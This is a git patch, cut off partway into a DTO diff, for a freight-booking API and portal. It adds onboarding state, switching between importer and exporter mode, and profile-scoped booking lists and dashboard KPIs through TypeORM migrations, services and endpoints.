From ed91f817ff890c2492f2e42a45037f870088064b Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 22:07:58 +0000 Subject: [PATCH 01/30] feat: enhance onboarding process and company profile management - Updated CompanyInfoResponseDto to include company profile data in response. - Enhanced ResponseExternalProfileDto to include active profile type and onboarding details. - Added new fields to ExternalProfile entity for active profile type and onboarding status. - Implemented onboarding wizard dialog in the frontend to guide users through the onboarding process. - Introduced API endpoints for managing company profiles and onboarding steps. - Created migrations to add new columns for active mode and onboarding status in the database. - Added functionality to switch between operational modes (importer/exporter) and create profiles as needed. - Improved user experience by ensuring onboarding is enforced for new users and those without completed profiles. --- ...tiveModeAndOnboardingToExternalProfiles.ts | 67 ++++++ ...000000001-AddCompanyProfileIdToBookings.ts | 94 ++++++++ .../modules/bookings/bookings.controller.ts | 10 +- .../modules/bookings/bookings.repository.ts | 6 + .../src/modules/bookings/bookings.service.ts | 63 +++++- .../bookings/entities/booking.entity.ts | 15 ++ .../modules/companies/companies.controller.ts | 55 +++++ .../modules/companies/companies.service.ts | 181 ++++++++++++++- .../companies/company-dashboard.repository.ts | 87 +++++--- .../dto/company-info-response.dto.ts | 2 +- .../dto/create-company-profile.dto.ts | 12 + .../dto/response-external-profile.dto.ts | 25 ++- .../companies/dto/set-active-mode.dto.ts | 7 + .../companies/dto/set-onboarding-step.dto.ts | 7 + .../entities/external-profile.entity.ts | 28 +++ apps/edr-freight-web/portal/src/App.tsx | 54 +++-- .../portal/src/components/AppLayout.tsx | 191 ++++++++++++++-- .../onboarding/OnboardingWizardDialog.tsx | 209 ++++++++++++++++++ .../portal/src/constants/URLS.ts | 4 + .../portal/src/hooks/useAuth.ts | 56 +++++ .../portal/src/services/api.ts | 24 ++ .../portal/src/services/companies.service.ts | 47 ++++ 22 files changed, 1163 insertions(+), 81 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts create mode 100644 apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts create mode 100644 apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx diff --git a/apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts b/apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts new file mode 100644 index 000000000..8484ca0f9 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts @@ -0,0 +1,67 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +export class AddActiveModeAndOnboardingToExternalProfiles1791000000000 + implements MigrationInterface +{ + name = 'AddActiveModeAndOnboardingToExternalProfiles1791000000000'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.external_profiles + ADD COLUMN IF NOT EXISTS active_profile_type varchar(32); + `); + + await queryRunner.query(` + ALTER TABLE freight.external_profiles + ADD COLUMN IF NOT EXISTS onboarding_step varchar(40); + `); + + await queryRunner.query(` + ALTER TABLE freight.external_profiles + ADD COLUMN IF NOT EXISTS onboarding_completed boolean NOT NULL DEFAULT false; + `); + + // Existing users already use the portal — never re-gate them behind the + // new onboarding wizard. + await queryRunner.query(` + UPDATE freight.external_profiles + SET onboarding_completed = true + WHERE onboarding_completed = false; + `); + + // Backfill the active mode for existing users from their company's + // operational profiles. Prefer importer, then exporter, then whichever + // single profile the company has (forwarder/dj/transporter). + await queryRunner.query(` + UPDATE freight.external_profiles ep + SET active_profile_type = cp.type + FROM ( + SELECT DISTINCT ON (company_id) company_id, type + FROM freight.company_profiles + ORDER BY company_id, + CASE type + WHEN 'importer' THEN 0 + WHEN 'exporter' THEN 1 + ELSE 2 + END + ) cp + WHERE ep.company_id = cp.company_id + AND ep.active_profile_type IS NULL; + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.external_profiles + DROP COLUMN IF EXISTS onboarding_completed; + `); + await queryRunner.query(` + ALTER TABLE freight.external_profiles + DROP COLUMN IF EXISTS onboarding_step; + `); + await queryRunner.query(` + ALTER TABLE freight.external_profiles + DROP COLUMN IF EXISTS active_profile_type; + `); + } +} diff --git a/apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts b/apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts new file mode 100644 index 000000000..0ca1a0d28 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts @@ -0,0 +1,94 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +export class AddCompanyProfileIdToBookings1791000000001 + implements MigrationInterface +{ + name = 'AddCompanyProfileIdToBookings1791000000001'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.bookings + ADD COLUMN IF NOT EXISTS company_profile_id UUID; + `); + + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS idx_bookings_company_profile_id + ON freight.bookings(company_profile_id); + `); + + await queryRunner.query(` + DO $$ + BEGIN + IF NOT EXISTS ( + SELECT 1 FROM pg_constraint WHERE conname = 'FK_bookings_company_profile_id' + ) THEN + ALTER TABLE freight.bookings + ADD CONSTRAINT "FK_bookings_company_profile_id" + FOREIGN KEY (company_profile_id) + REFERENCES freight.company_profiles(id); + END IF; + END $$; + `); + + // Backfill by natural mapping: IMPORT → importer profile, EXPORT → exporter + // profile, for each booking's own company. + await queryRunner.query(` + UPDATE freight.bookings b + SET company_profile_id = cp.id + FROM freight.company_profiles cp + WHERE cp.company_id = b.company_id + AND b.company_profile_id IS NULL + AND ( + (b.trade_direction = 'IMPORT' AND cp.type = 'importer') OR + (b.trade_direction = 'EXPORT' AND cp.type = 'exporter') + ); + `); + + // Forwarder / single-profile companies: one profile per company, so the + // mapping is unambiguous regardless of trade direction. + await queryRunner.query(` + UPDATE freight.bookings b + SET company_profile_id = cp.id + FROM freight.company_profiles cp + JOIN freight.companies c ON c.id = cp.company_id + WHERE cp.company_id = b.company_id + AND c.type <> 'customer' + AND b.company_profile_id IS NULL; + `); + + // Remaining customer-owned rows (e.g. DOMESTIC, or a direction with no + // matching profile): attribute to the company's importer profile, else its + // exporter profile, so nothing disappears from the customer's list. + await queryRunner.query(` + UPDATE freight.bookings b + SET company_profile_id = cp.id + FROM ( + SELECT DISTINCT ON (company_id) company_id, id + FROM freight.company_profiles + ORDER BY company_id, + CASE type + WHEN 'importer' THEN 0 + WHEN 'exporter' THEN 1 + ELSE 2 + END + ) cp + WHERE cp.company_id = b.company_id + AND b.company_id IS NOT NULL + AND b.company_profile_id IS NULL; + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.bookings + DROP CONSTRAINT IF EXISTS "FK_bookings_company_profile_id"; + `); + await queryRunner.query(` + DROP INDEX IF EXISTS freight.idx_bookings_company_profile_id; + `); + await queryRunner.query(` + ALTER TABLE freight.bookings + DROP COLUMN IF EXISTS company_profile_id; + `); + } +} diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts index ae0f1765a..77303d08d 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts @@ -133,7 +133,15 @@ export class BookingsController { await this.bookingsService.resolveCustomerCompanyId(userId); // No linked company yet → no bookings to show (avoids leaking all bookings). if (!companyId) return { items: [], total: 0 }; - return this.bookingsService.findAll(filter, companyId); + // Scope to the active operational profile (importer/exporter) when one + // resolves; otherwise fall back to company-level scoping. + const companyProfileId = + await this.bookingsService.resolveActiveCompanyProfileId(userId); + return this.bookingsService.findAll( + filter, + companyId, + companyProfileId ?? undefined, + ); } @Get('list-summary') diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts index b173bfe68..e1e75e049 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts @@ -25,6 +25,7 @@ export interface BookingListFilterOptions { schedulingStatuses?: string[]; assignedToSchedule?: 'true' | 'false'; companyId?: string; + companyProfileId?: string; contractType?: string; serviceTypeId?: string; cargoTypeId?: string; @@ -559,6 +560,11 @@ export class BookingsRepository extends BaseRepository { companyId: options.companyId, }); } + if (options.companyProfileId) { + qb.andWhere('booking.company_profile_id = :companyProfileId', { + companyProfileId: options.companyProfileId, + }); + } if (options.contractType) { qb.andWhere('booking.contract_type = :contractType', { contractType: options.contractType, diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index 4c8ef2cab..5253ca9bd 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -10,6 +10,7 @@ import { import { Freight, SchedulingStatus } from '@edr/types'; // import { CustomersService } from '../customers/customers.service'; import { CompaniesService } from '../companies/companies.service'; +import { ProfileType } from '../companies/entities/company-profile.entity'; import { TrainSchedulingService } from '../train-scheduling/train-scheduling.service'; import { eatDay } from '../train-scheduling/batch-window.util'; import { FilesService } from '../files/files.service'; @@ -323,6 +324,29 @@ export class BookingsService { dto.tradeDirection, ); + // Stamp the operational profile this booking belongs to (importer/exporter) + // so the customer portal can scope lists/KPIs to the active mode. Best-effort + // for non-government bookings with a resolved company; never blocks creation. + let companyProfileId: string | null = null; + if (!isGovernment && companyId) { + let fallbackType: ProfileType | null = null; + if (userId) { + try { + const { profile } = + await this.companiesService.getCompanyInfoByUserId(userId); + fallbackType = profile.activeProfileType ?? null; + } catch { + // No profile (e.g. staff creating on behalf) — fall back to mapping. + } + } + companyProfileId = + await this.companiesService.resolveCompanyProfileIdForBooking( + companyId, + tradeDirection, + fallbackType, + ); + } + const allowConsolidation = dto.freightType === 'CONTAINER' ? await this.resolveConsolidation(containers, dto.allowConsolidation) @@ -348,6 +372,7 @@ export class BookingsService { const booking = await this.bookingsRepository.create({ reference, companyId: companyId ?? null, + companyProfileId, isGovernment, governmentInstitution: isGovernment ? dto.governmentInstitution!.trim() : null, trainId: dto.trainId, @@ -504,6 +529,22 @@ export class BookingsService { priorityScore: ruleResult.priorityScore, tradeDirection, }; + // If the route (hence trade direction) changed, re-stamp the operational + // profile so an edited draft doesn't get stranded under the wrong profile. + if ( + tradeDirection !== existing.tradeDirection && + !existing.isGovernment && + existing.companyId + ) { + updates.companyProfileId = + await this.companiesService.resolveCompanyProfileIdForBooking( + existing.companyId, + tradeDirection, + existing.companyProfileId + ? undefined + : (existing.companyProfile?.type as ProfileType | undefined), + ); + } if (dto.scheduledDate) updates.scheduledDate = new Date(dto.scheduledDate); if (dto.startDate) updates.startDate = new Date(dto.startDate); if (dto.endDate) updates.endDate = new Date(dto.endDate); @@ -583,6 +624,7 @@ export class BookingsService { async findAll( filter: FilterBookingDto, forceCompanyId?: string, + forceCompanyProfileId?: string, ): Promise<{ items: Booking[]; total: number }> { const page = filter.page ?? 1; const pageSize = filter.pageSize ?? 20; @@ -597,7 +639,10 @@ export class BookingsService { assignedToSchedule: filter.assignedToSchedule, // A forced company scope (portal/customer) overrides any caller-provided // companyId so a customer can only ever see their own company's bookings. - companyId: forceCompanyId ?? filter.companyId, + // When an active profile resolves, scope to it; otherwise fall back to the + // company so nothing breaks for not-yet-onboarded customers. + companyId: forceCompanyProfileId ? undefined : forceCompanyId ?? filter.companyId, + companyProfileId: forceCompanyProfileId, contractType: filter.contractType, serviceTypeId: filter.serviceTypeId, cargoTypeId: filter.cargoTypeId, @@ -629,13 +674,18 @@ export class BookingsService { filter: FilterBookingDto, ): Promise<{ items: Booking[]; total: number }> { const { company } = await this.companiesService.getCompanyInfoByUserId(userId); + // Scope to the active operational profile when one resolves; fall back to + // company-level so not-yet-onboarded customers still see their payables. + const companyProfileId = + await this.companiesService.resolveActiveCompanyProfileId(userId); return this.bookingsRepository.findAllPaginated({ page: filter.page ?? 1, pageSize: filter.pageSize ?? 20, statuses: BookingsService.PAYABLE_STATUSES, excludePaymentStatus: 'PAID', - companyId: company.id, + companyId: companyProfileId ? undefined : company.id, + companyProfileId: companyProfileId ?? undefined, sortBy: filter.sortBy, sortOrder: filter.sortOrder, }); @@ -655,6 +705,15 @@ export class BookingsService { } } + /** + * Resolve the active company_profile id a customer's bookings should be + * scoped to (importer/exporter mode). Null when not onboarded — callers fall + * back to company-level scoping. + */ + async resolveActiveCompanyProfileId(userId: string): Promise { + return this.companiesService.resolveActiveCompanyProfileId(userId); + } + /** * Authorize a customer's access to a single booking. Staff are scoped at the * controller (they pass `isStaff`); for a customer, the booking must belong diff --git a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts index c5dac1736..d110391b7 100644 --- a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts +++ b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts @@ -3,6 +3,7 @@ import { SchedulingStatus } from '@edr/types'; import { Column, Entity, JoinColumn, ManyToOne, OneToMany } from 'typeorm'; // import { Customer } from '../../customers/entities/customer.entity'; import { Company } from '../../companies/entities/company.entity'; +import { CompanyProfile } from '../../companies/entities/company-profile.entity'; import { CargoType } from '../../rule-engine/entities/cargo-type.entity'; import { ServiceType } from '../../rule-engine/entities/service-type.entity'; import { ShippingLine } from '../../rule-engine/entities/shipping-line.entity'; @@ -92,6 +93,20 @@ export class Booking extends BaseEntity { @JoinColumn({ name: 'company_id' }) company?: Company | null; + /** + * The operational profile (importer/exporter/forwarder) this booking belongs + * to. Stamped at creation from the booking's trade direction (IMPORT→importer, + * EXPORT→exporter) or the user's active profile for DOMESTIC/forwarder. + * Customer portal lists and dashboard KPIs are scoped by this. Nullable for + * legacy/government/staff-created bookings. + */ + @Column({ name: 'company_profile_id', type: 'uuid', nullable: true }) + companyProfileId?: string | null; + + @ManyToOne(() => CompanyProfile, { nullable: true }) + @JoinColumn({ name: 'company_profile_id' }) + companyProfile?: CompanyProfile | null; + @Column({ name: 'is_government', type: 'boolean', default: false }) isGovernment!: boolean; diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index ac2868ec3..d09effef3 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -24,6 +24,9 @@ import { UpdateCompanyDto } from "./dto/update-company.dto"; import { CreateExternalProfileDto } from "./dto/create-external-profile.dto"; import { CreateCompanyWithProfileDto } from "./dto/create-company-with-profile.dto"; import { AddCompanyProfilesDto } from "./dto/add-company-profiles.dto"; +import { CreateCompanyProfileDto } from "./dto/create-company-profile.dto"; +import { SetActiveModeDto } from "./dto/set-active-mode.dto"; +import { SetOnboardingStepDto } from "./dto/set-onboarding-step.dto"; import { ResponseCompanyDto, ResponseCompanyProfileDto, @@ -105,6 +108,58 @@ export class CompaniesController { return profiles.map((p) => new ResponseCompanyProfileDto(p)); } + @Post("company-profile") + @ApiOperation({ + summary: + "Create a single operational profile for the current user's company and make it the active mode", + }) + async createCompanyProfile( + @CurrentUser() user: CurrentIamUser, + @Body() dto: CreateCompanyProfileDto, + ): Promise { + const profile = await this.companiesService.createCompanyProfileForUser( + user.id, + dto.type, + dto.businessLicense, + ); + return new ResponseCompanyProfileDto(profile); + } + + @Patch("active-mode") + @ApiOperation({ + summary: "Switch the current user's active operational mode (importer/exporter)", + }) + async setActiveMode( + @CurrentUser() user: CurrentIamUser, + @Body() dto: SetActiveModeDto, + ): Promise { + const { profile, company } = await this.companiesService.setActiveMode( + user.id, + dto.type, + ); + return new CompanyInfoResponseDto(profile, company); + } + + @Patch("onboarding-step") + @ApiOperation({ summary: "Persist the user's current onboarding wizard step" }) + @HttpCode(HttpStatus.NO_CONTENT) + async setOnboardingStep( + @CurrentUser() user: CurrentIamUser, + @Body() dto: SetOnboardingStepDto, + ): Promise { + await this.companiesService.setOnboardingStep(user.id, dto.step); + } + + @Post("onboarding/complete") + @ApiOperation({ summary: "Mark the current user's onboarding as complete" }) + async completeOnboarding( + @CurrentUser() user: CurrentIamUser, + ): Promise { + const { profile, company } = + await this.companiesService.markOnboardingComplete(user.id); + return new CompanyInfoResponseDto(profile, company); + } + // Used by portal @Post("create") @ApiOperation({ diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index fe1bc5598..edeaafe57 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -81,6 +81,18 @@ export class CompaniesService { attributes: dto.attributes ?? null, }); + // Default active mode from the chosen role(s): importer wins when both are + // picked, otherwise the first allowed type chosen. + const allowedTypes = this.getProfileTypeForCompanyType(company.type); + const chosenTypes = (dto.companyProfiles ?? []) + .map((p) => p.type) + .filter((t) => allowedTypes.includes(t)); + const activeProfileType = + chosenTypes.find((t) => t === ProfileType.importer) ?? + chosenTypes[0] ?? + allowedTypes[0] ?? + null; + const profile = await this.profilesRepo.create({ userId: identity.userId, companyId: company.id, @@ -90,6 +102,8 @@ export class CompaniesService { phone: identity.phone, jobTitle: dto.jobTitle ?? null, isPrimaryContact: dto.isPrimaryContact ?? true, + activeProfileType, + onboardingStep: 'company', }); // Persist the operational role(s) chosen during onboarding. Types are @@ -174,6 +188,18 @@ export class CompaniesService { const companyId = profile?.company?.id ?? profile?.companyId ?? null; if (!companyId) return this.emptyDashboardSummary(); + // Scope KPIs to the active operational profile (importer/exporter mode) when + // one resolves; otherwise aggregate across the whole company. + const companyProfileId = profile?.activeProfileType + ? ((await this.companyProfilesRepo.findByType( + companyId, + profile.activeProfileType, + )) ?? null) + : null; + const scope = companyProfileId + ? { companyProfileId: companyProfileId.id } + : { companyId }; + const now = new Date(); const yearStart = new Date(now.getFullYear(), 0, 1); const prevYearStart = new Date(now.getFullYear() - 1, 0, 1); @@ -191,22 +217,22 @@ export class CompaniesService { tonnagePrev, monthlyRows, ] = await Promise.all([ - this.dashboardRepo.countDelivered(companyId, yearStart, now), - this.dashboardRepo.countCommitted(companyId, yearStart, now), - this.dashboardRepo.sumPaidSpendByCurrency(companyId, yearStart, now), + this.dashboardRepo.countDelivered(scope, yearStart, now), + this.dashboardRepo.countCommitted(scope, yearStart, now), + this.dashboardRepo.sumPaidSpendByCurrency(scope, yearStart, now), this.dashboardRepo.sumPaidSpendByCurrency( - companyId, + scope, prevYearStart, prevYearToDate, ), - this.dashboardRepo.sumCommittedTonnage(companyId, yearStart, now), + this.dashboardRepo.sumCommittedTonnage(scope, yearStart, now), this.dashboardRepo.sumCommittedTonnage( - companyId, + scope, prevYearStart, prevYearToDate, ), this.dashboardRepo.monthlyCommittedTonnage( - companyId, + scope, this.monthsAgo(now, 5), now, ), @@ -505,4 +531,145 @@ export class CompaniesService { return this.companyProfilesRepo.findByCompanyId(companyId); } + + /** + * Create a single operational profile for the current user's company and + * make it the active mode in the same call. Powers the header "Switch to + * Exporter/Importer" flow when the target profile doesn't exist yet. + */ + async createCompanyProfileForUser( + userId: string, + type: ProfileType, + businessLicense?: string, + ): Promise { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + + const companyId = profile.company?.id ?? profile.companyId; + const company = await this.findCompanyById(companyId); + const allowedTypes = this.getProfileTypeForCompanyType(company.type); + if (!allowedTypes.includes(type)) { + throw new BadRequestException( + `Profile type "${type}" is not allowed for company type "${company.type}"`, + ); + } + + let created = await this.companyProfilesRepo.findByType(companyId, type); + if (!created) { + const reference = await this.companyProfilesRepo.generateReference(type); + created = await this.companyProfilesRepo.create({ + companyId, + type, + reference, + businessLicense: businessLicense ?? null, + status: ProfileStatus.Active, + }); + } + + await this.profilesRepo.update(profile.id, { activeProfileType: type }); + + return created; + } + + /** + * Switch the user's active operational mode. The target profile must already + * exist — clients create it first via createCompanyProfileForUser. + */ + async setActiveMode( + userId: string, + type: ProfileType, + ): Promise<{ profile: ExternalProfile; company: Company }> { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + + const companyId = profile.company?.id ?? profile.companyId; + const company = await this.findCompanyById(companyId); + + const allowedTypes = this.getProfileTypeForCompanyType(company.type); + if (!allowedTypes.includes(type)) { + throw new BadRequestException( + `Profile type "${type}" is not allowed for company type "${company.type}"`, + ); + } + + const existing = await this.companyProfilesRepo.findByType(companyId, type); + if (!existing) { + throw new ConflictException( + `No ${type} profile exists yet — create it before switching`, + ); + } + + await this.profilesRepo.update(profile.id, { activeProfileType: type }); + + return this.getCompanyInfoByUserId(userId); + } + + async setOnboardingStep(userId: string, step: string): Promise { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + await this.profilesRepo.update(profile.id, { onboardingStep: step }); + } + + async markOnboardingComplete( + userId: string, + ): Promise<{ profile: ExternalProfile; company: Company }> { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + await this.profilesRepo.update(profile.id, { + onboardingCompleted: true, + onboardingStep: 'done', + }); + return this.getCompanyInfoByUserId(userId); + } + + /** + * Resolve which company_profile a new booking belongs to, from the company + * and the booking's trade direction. IMPORT → importer profile, EXPORT → + * exporter profile; for DOMESTIC or a forwarder/single-profile company (or + * when the natural profile doesn't exist) it falls back to the user's active + * profile, then the company's first profile. Returns null when the company + * has no profiles at all. + */ + async resolveCompanyProfileIdForBooking( + companyId: string, + tradeDirection: string, + fallbackType?: ProfileType | null, + ): Promise { + const profiles = await this.companyProfilesRepo.findByCompanyId(companyId); + if (profiles.length === 0) return null; + + const naturalType = + tradeDirection === 'IMPORT' + ? ProfileType.importer + : tradeDirection === 'EXPORT' + ? ProfileType.exporter + : null; + + const byType = (type?: ProfileType | null) => + type ? profiles.find((p) => p.type === type) : undefined; + + const match = byType(naturalType) ?? byType(fallbackType) ?? profiles[0]; + return match?.id ?? null; + } + + /** + * Resolve the company_profile a customer's data should be scoped to, from + * their persisted active mode. Returns null when nothing can be resolved + * (not onboarded yet) so callers can fall back to company-level scoping. + */ + async resolveActiveCompanyProfileId(userId: string): Promise { + try { + const { profile, company } = await this.getCompanyInfoByUserId(userId); + const type = profile.activeProfileType; + if (!type) return null; + const match = company.companyProfiles?.find((p) => p.type === type); + return match?.id ?? null; + } catch { + return null; + } + } } diff --git a/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts b/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts index 365cf1daa..842a36616 100644 --- a/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts +++ b/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts @@ -1,6 +1,6 @@ import { Injectable } from '@nestjs/common'; import { InjectRepository } from '@nestjs/typeorm'; -import { Repository } from 'typeorm'; +import { Repository, SelectQueryBuilder } from 'typeorm'; import { Booking } from '../bookings/entities/booking.entity'; @@ -31,6 +31,27 @@ export interface CurrencyTotal { total: number; } +/** + * What the dashboard is scoped to: a single operational profile (the active + * importer/exporter mode) when one resolves, otherwise the whole company + * (legacy / not-yet-onboarded fallback). + */ +export type DashboardScope = + | { companyProfileId: string } + | { companyId: string }; + +/** Apply the scope as a WHERE clause on a bookings query builder. */ +function applyScope( + qb: SelectQueryBuilder, + scope: DashboardScope, +): SelectQueryBuilder { + return 'companyProfileId' in scope + ? qb.where('b.company_profile_id = :companyProfileId', { + companyProfileId: scope.companyProfileId, + }) + : qb.where('b.company_id = :companyId', { companyId: scope.companyId }); +} + export interface MonthlyTonnage { year: number; month: number; // 1-12 @@ -50,35 +71,33 @@ export class CompanyDashboardRepository { private readonly bookings: Repository, ) {} - /** Count of delivered/completed bookings for a company within [from, to). */ - async countDelivered(companyId: string, from: Date, to: Date): Promise { - return this.bookings - .createQueryBuilder('b') - .where('b.company_id = :companyId', { companyId }) + /** Count of delivered/completed bookings within [from, to) for the scope. */ + async countDelivered(scope: DashboardScope, from: Date, to: Date): Promise { + return applyScope(this.bookings.createQueryBuilder('b'), scope) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...DELIVERED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) .getCount(); } - /** Count of committed (non-draft, non-dead) bookings for a company within [from, to). */ - async countCommitted(companyId: string, from: Date, to: Date): Promise { - return this.bookings - .createQueryBuilder('b') - .where('b.company_id = :companyId', { companyId }) + /** Count of committed (non-draft, non-dead) bookings within [from, to) for the scope. */ + async countCommitted(scope: DashboardScope, from: Date, to: Date): Promise { + return applyScope(this.bookings.createQueryBuilder('b'), scope) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...COMMITTED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) .getCount(); } - /** Sum of paid booking totals, grouped by currency, within [from, to). */ - async sumPaidSpendByCurrency(companyId: string, from: Date, to: Date): Promise { - const rows = await this.bookings - .createQueryBuilder('b') - .select('b.payment_currency', 'currency') - .addSelect('COALESCE(SUM(b.total_amount), 0)', 'total') - .where('b.company_id = :companyId', { companyId }) + /** Sum of paid booking totals, grouped by currency, within [from, to) for the scope. */ + async sumPaidSpendByCurrency(scope: DashboardScope, from: Date, to: Date): Promise { + const rows = await applyScope( + this.bookings + .createQueryBuilder('b') + .select('b.payment_currency', 'currency') + .addSelect('COALESCE(SUM(b.total_amount), 0)', 'total'), + scope, + ) .andWhere('b.deleted_at IS NULL') .andWhere("b.payment_status = 'PAID'") .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) @@ -88,12 +107,14 @@ export class CompanyDashboardRepository { return rows.map((r) => ({ currency: r.currency ?? 'ETB', total: Number(r.total) })); } - /** Total committed tonnage (cargo VGM) for a company within [from, to). */ - async sumCommittedTonnage(companyId: string, from: Date, to: Date): Promise { - const row = await this.bookings - .createQueryBuilder('b') - .select('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total') - .where('b.company_id = :companyId', { companyId }) + /** Total committed tonnage (cargo VGM) within [from, to) for the scope. */ + async sumCommittedTonnage(scope: DashboardScope, from: Date, to: Date): Promise { + const row = await applyScope( + this.bookings + .createQueryBuilder('b') + .select('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total'), + scope, + ) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...COMMITTED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) @@ -102,14 +123,16 @@ export class CompanyDashboardRepository { return Number(row?.total ?? 0); } - /** Committed tonnage grouped by calendar month within [from, to). */ - async monthlyCommittedTonnage(companyId: string, from: Date, to: Date): Promise { - const rows = await this.bookings - .createQueryBuilder('b') - .select('EXTRACT(YEAR FROM b.created_at)', 'year') - .addSelect('EXTRACT(MONTH FROM b.created_at)', 'month') - .addSelect('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total') - .where('b.company_id = :companyId', { companyId }) + /** Committed tonnage grouped by calendar month within [from, to) for the scope. */ + async monthlyCommittedTonnage(scope: DashboardScope, from: Date, to: Date): Promise { + const rows = await applyScope( + this.bookings + .createQueryBuilder('b') + .select('EXTRACT(YEAR FROM b.created_at)', 'year') + .addSelect('EXTRACT(MONTH FROM b.created_at)', 'month') + .addSelect('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total'), + scope, + ) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...COMMITTED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) diff --git a/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts index f6ffb8296..04fd42816 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts @@ -8,7 +8,7 @@ export class CompanyInfoResponseDto { company: ResponseCompanyDto; constructor(profile: ExternalProfile, company: Company) { - this.profile = new ResponseExternalProfileDto(profile); + this.profile = new ResponseExternalProfileDto(profile, company); this.company = new ResponseCompanyDto(company); } } diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts new file mode 100644 index 000000000..9ac6c13b7 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts @@ -0,0 +1,12 @@ +import { IsEnum, IsOptional, IsString, MaxLength } from 'class-validator'; +import { ProfileType } from '../entities/company-profile.entity'; + +export class CreateCompanyProfileDto { + @IsEnum(ProfileType) + type!: ProfileType; + + @IsOptional() + @IsString() + @MaxLength(100) + businessLicense?: string; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts index a33585845..7e17bcc60 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts @@ -1,4 